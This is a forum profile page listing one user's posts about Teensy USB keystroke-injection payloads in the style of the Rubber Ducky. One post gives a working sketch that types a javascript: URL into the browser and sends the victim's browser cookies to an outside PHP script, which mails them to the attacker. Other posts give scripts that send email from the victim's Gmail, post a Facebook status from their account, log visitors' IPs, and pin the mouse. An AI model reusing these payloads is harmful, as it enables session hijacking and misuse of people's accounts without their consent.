Jump to content

vulg4h

Active Members
  • Posts

    12
  • Joined

  • Last visited

Everything posted by vulg4h

  1. I don't really think it's the drivers, but rather than the current software and hardware limitations. I'm not saying it'd be impossible, but it wouldn't be a weekend project. I didn't see something on the forums about data, such as keystrokes being forwarded to the Teensy.
  2. Ah yeah you're right, was running low on sleep, my bad.
  3. I think what NanoyMaster is talking more along the lines of saving it to a file located on the server. For example, the following ip.php would save the content to ips.txt <? $data = "IP: " . $_SERVER['REMOTE_ADDR'] . "\n"; $log_file = "ips.txt"; $f = fopen($log_file, 'a'); fwrite($f, $data); fclose($f); ?>
  4. Ayee, nice idea here. Also, you can just stick their mouse to the top left corner with: void setup() { } void loop() { while(1) { Mouse.move(-9000,-9000); } }
  5. Gah, it's working fine on mine and a friend's system. Mac OS X + Firefox 3.5.9 + Chrome 5.0.342.9 beta Windows + Chrome 4.1.249.1064 Note: When attempted in Firefox, it did not show it was selected, but you could type regardless.
  6. Could someone please test out the new code to see if it's get anywhere? If stabilized, the search-escape method could help get to certain dynamically-located inputs.
  7. Yeah, you know the Windows + R combo? I incidentally made that CTRL + R, so uh... yeah. Also, the initial browser test was Chrome for OS X, and I just tested again, it seems to be working fine on my Firefox and Chrome. It's Apple-F -> "what's going" -> ESC -> DELETE -> DELETE -> "msg" Another edit, it was just tested on Chrome for Windows, everything seems to be peachy.
  8. So, I'm pretty sure this works. [ Windows ] void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); sendClearKeys(); delay(500); Keyboard.print("cmd"); delay(1000); Keyboard.print("start http://tinyurl.com/gmail-minipose"); // mail.google.com/mail/x/?v=b&eot=1&cs=b enter(); delay(6000); // delay for browser to load Keyboard.print("to@email.com"); Keyboard.set_modifier(MODIFIERKEY_TAB); sendClearKeys(); delay(100); Keyboard.print("subject here"); Keyboard.set_modifier(MODIFIERKEY_TAB); sendClearKeys(); delay(100); Keyboard.print("message here"); Keyboard.set_modifier(MODIFIERKEY_TAB); sendClearKeys(); delay(100); Keyboard.set_key1(KEY_ENTER); sendClearKeys(); } void loop() { } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); }
  9. Note: In the code make "java script" one word. ducky: void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(100); Keyboard.print("www.msn.com"); // site of cookie theft enter(); delay(6000); Keyboard.set_modifier(MODIFIERKEY_CTRL); // CTRL-L Keyboard.set_key1(KEY_L); sendClearKeys(); delay(100); Keyboard.print("java script:document.location='http://site.com/savedatcookie.php?c='+escape(document.cookie)"); enter(); delay(2000); } void loop() { /* na-da */ } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } savedatcookie.php <?php mail("you@email.com", "Cookie Stealer - ".$_SERVER['HTTP_REFERER'], $_GET['c']); ?>
  10. Haha, yeah, I realized just before you posted that, check out my edit. Ah, damn. But hmm, good thinking going towards the mobile approach.
  11. Nope :/ It being a textarea, it just inserts a newline.
  12. So a few things, Hi, I'm vulg4h. I'm new here. How ya' doin'? I can't test this because I don't have my Teensy yet, nor am I running Windows, atm. I figured out that by doing a search of content within a textarea, and escaping the search puts you in typing mode of the textarea. I love Rubber Ducky :D Figured it out, should be working now. Lastly, here be thy code. The community's posts have helped dearly. void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.print("www.facebook.com"); enter(); delay(6000); // let browser load Keyboard.set_modifier(MODIFIERKEY_CTRL); // set browser to search-page Keyboard.set_key1(KEY_F); sendClearKeys(); delay(100); Keyboard.print("What's on"); // search for "What's on" Keyboard.set_key1(KEY_ESC); // escape search sendClearKeys(); delay(100); Keyboard.set_key1(KEY_DELETE); sendClearKeys(); delay(100); Keyboard.set_key1(KEY_DELETE); sendClearKeys(); delay(100); Keyboard.print("This is an automated update from the future."); // new status content delay(100); Keyboard.set_key1(KEY_TAB); sendClearKeys(); enter(); } void loop() { // Maybe a flashing LED? } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } EDIT Boy, do I feel dumb. When I was going over the form to see how many tabs I need to submit it (I actually got up to 9), I somehow missed the first one. Code is working, now. EDIT2 Typo. EDIT3 Ha.... fixed the beginning. :|
×
×
  • Create New...